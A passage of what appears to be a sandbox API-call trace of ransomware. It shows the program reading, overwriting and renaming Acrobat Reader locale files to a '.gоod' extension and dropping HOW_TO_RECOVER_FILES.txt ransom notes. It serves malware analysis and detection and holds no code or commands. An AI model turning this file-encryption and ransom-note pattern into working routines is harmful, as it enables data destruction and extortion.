FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.390] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0134.391] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0134.391] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0134.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0134.391] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0134.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0134.391] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x38cd788 | out: lpFileInformation=0x38cd788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0134.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0134.391] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0134.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0134.391] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0134.392] GetFileType (hFile=0x640) returned 0x1 [0134.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0134.392] GetFileType (hFile=0x640) returned 0x1 [0134.392] GetFileSize (in: hFile=0x640, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xdf0 [0134.392] ReadFile (in: hFile=0x640, lpBuffer=0x38ce8e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x38ce8e0*, lpNumberOfBytesRead=0x1ffeba08*=0xdf0, lpOverlapped=0x0) returned 1 [0134.393] CloseHandle (hObject=0x640) returned 1 [0134.494] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0134.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0134.494] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.495] GetFileType (hFile=0x618) returned 0x1 [0134.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0134.495] GetFileType (hFile=0x618) returned 0x1 [0134.495] WriteFile (in: hFile=0x618, lpBuffer=0x3760ac8*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x3760ac8*, lpNumberOfBytesWritten=0x1ffeb918*=0xe00, lpOverlapped=0x0) returned 1 [0134.497] CloseHandle (hObject=0x618) returned 1 [0134.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0134.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0134.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0134.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4c61d0b4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1 [0134.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0134.497] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-il\\ui-strings.js.gоod")) returned 1 [0134.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0134.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0134.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\en-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0134.498] GetFileType (hFile=0x618) returned 0x1 [0134.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0134.498] GetFileType (hFile=0x618) returned 0x1 [0134.499] WriteFile (in: hFile=0x618, lpBuffer=0x3764338*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3764338*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0134.500] CloseHandle (hObject=0x618) returned 1 [0134.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0134.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es", lpFilePart=0x0) returned 0x68 [0134.500] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.501] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.501] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0134.501] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0134.501] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0134.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0134.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0134.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es", lpFilePart=0x0) returned 0x68 [0134.501] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0134.501] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.502] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0134.502] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0134.502] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0134.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0134.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0134.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0134.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0134.502] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3773ef0 | out: lpFileInformation=0x3773ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xecd)) returned 1 [0134.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0134.503] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0134.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0134.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.503] GetFileType (hFile=0x618) returned 0x1 [0134.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0134.503] GetFileType (hFile=0x618) returned 0x1 [0134.503] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0xecd [0134.503] ReadFile (in: hFile=0x618, lpBuffer=0x3775128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x3775128*, lpNumberOfBytesRead=0x1ffeba08*=0xecd, lpOverlapped=0x0) returned 1 [0134.505] CloseHandle (hObject=0x618) returned 1 [0135.328] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0135.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0135.328] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0135.329] GetFileType (hFile=0x63c) returned 0x1 [0135.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0135.329] GetFileType (hFile=0x63c) returned 0x1 [0135.329] WriteFile (in: hFile=0x63c, lpBuffer=0x37c4f40*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x37c4f40*, lpNumberOfBytesWritten=0x1ffeb918*=0xed0, lpOverlapped=0x0) returned 1 [0135.333] CloseHandle (hObject=0x63c) returned 1 [0135.333] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0135.333] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0135.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0135.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4ce02ee6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xed0)) returned 1 [0135.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0135.333] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\es-es\\ui-strings.js.gоod")) returned 1 [0135.334] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0135.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0135.334] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0135.335] GetFileType (hFile=0x63c) returned 0x1 [0135.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0135.336] GetFileType (hFile=0x63c) returned 0x1 [0135.336] WriteFile (in: hFile=0x63c, lpBuffer=0x37c87b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x37c87b0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0135.338] CloseHandle (hObject=0x63c) returned 1 [0135.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0135.338] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es", lpFilePart=0x0) returned 0x68 [0135.338] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\eu-es\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, 